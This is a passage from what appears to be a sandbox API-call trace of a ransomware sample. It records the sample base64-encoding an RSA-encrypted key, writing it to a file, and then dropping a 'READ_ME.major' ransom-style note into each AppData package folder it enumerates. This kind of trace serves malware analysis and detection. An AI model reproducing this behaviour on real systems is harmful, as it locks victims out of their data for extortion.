pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.262] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.262] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Lgzxm95bLONdOQ1PgSv+f8+UB71Xq4koa8Dapfc79CEfPfVq0r10VD/3RhlvPqwD\ntAT5xuwIy4WxkFhM04S4mB8ExPumAHM7OurrJiozr/GHo4Xt4QyLEANoOj0G3XFE\niPStfgymiR53HzXBVwgdBZahZgteZ+3BUpNkAtmFJnL5HSD+/SLd05xd1w/3j5Ej\nYROoAnsxFgl8awTIveQSIF8Glgu0O7ozXkTN9LuBgn2bjk0FI9twk0YAPrE+RplV\n0XFF28YBn7fczrdEsYxz9iWjsYkqxW0i/9a8mLfQugGXsBy5BToEgDIM1wkL4YVz\n1//6XIze5eqSP7OEemALFA==\n", pcchString=0x2e3f9a8) returned 1 [0194.262] WriteFile (in: hFile=0xa3c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.262] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.262] WriteFile (in: hFile=0xa3c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.262] CloseHandle (hObject=0xa3c) returned 1 [0194.283] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f876a8 [0194.284] FindNextFileW (in: hFindFile=0x2f876a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.284] FindNextFileW (in: hFindFile=0x2f876a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.284] FindNextFileW (in: hFindFile=0x2f876a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c908 [0194.284] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f877e8 [0194.284] FindNextFileW (in: hFindFile=0x2f877e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.284] FindNextFileW (in: hFindFile=0x2f877e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.284] FindNextFileW (in: hFindFile=0x2f877e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1cf580, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b1cf580, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b1cf580, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f894e8 [0194.284] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b34212e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x309d358f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2b300940, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87268 [0194.284] FindNextFileW (in: hFindFile=0x2f87268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b34212e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x309d358f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2b300940, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.285] FindNextFileW (in: hFindFile=0x2f87268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f96c4f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.285] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa48 [0194.287] WriteFile (in: hFile=0xa48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.288] CloseHandle (hObject=0xa48) returned 1 [0194.288] FindNextFileW (in: hFindFile=0x2f87268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9743d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.288] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa48 [0194.289] WriteFile (in: hFile=0xa48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.289] CloseHandle (hObject=0xa48) returned 1 [0194.290] FindNextFileW (in: hFindFile=0x2f87268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f97fc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.290] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa48 [0194.291] WriteFile (in: hFile=0xa48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.292] CloseHandle (hObject=0xa48) returned 1 [0194.292] FindNextFileW (in: hFindFile=0x2f87268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b300940, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b300940, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b300940, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.292] FindNextFileW (in: hFindFile=0x2f87268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f98a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.292] FindNextFileW (in: hFindFile=0x2f87268, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f98a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f896e0 [0194.292] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b278594, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b300940, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f872a8 [0194.292] FindNextFileW (in: hFindFile=0x2f872a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b278594, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b300940, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.292] FindNextFileW (in: hFindFile=0x2f872a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b300940, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b300940, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b300940, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.292] FindNextFileW (in: hFindFile=0x2f872a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b300940, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b300940, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b300940, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.292] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85140 [0194.293] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99cd3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b4ca561, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f874a8 [0194.293] FindNextFileW (in: hFindFile=0x2f874a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f99cd3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b4ca561, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.293] FindNextFileW (in: hFindFile=0x2f874a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b4ca561, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b4ca561, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b4ca561, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.293] FindNextFileW (in: hFindFile=0x2f874a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b4ca561, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b4ca561, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b4ca561, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f84b80 [0194.293] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9a7db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f871e8 [0194.293] FindNextFileW (in: hFindFile=0x2f871e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9a7db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.293] FindNextFileW (in: hFindFile=0x2f871e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b4f070c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b4f070c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.293] FindNextFileW (in: hFindFile=0x2f871e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b4f070c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b4f070c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f854d8 [0194.293] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9b11f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f870e8 [0194.294] FindNextFileW (in: hFindFile=0x2f870e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9b11f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f870e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b4f070c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b4f070c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f870e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b4f070c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b4f070c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b4f070c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.294] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88e58 [0194.294] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x7114efb2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2b5fb84b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f874e8 [0194.294] FindNextFileW (in: hFindFile=0x2f874e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b1aa9e9, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x7114efb2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2b5fb84b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f874e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b5fb84b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b5fb84b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b5fb84b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f874e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b278594, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3b278594, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0x3b278594, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f874e8, lpFindFileData=0x2e3fb24 | out: 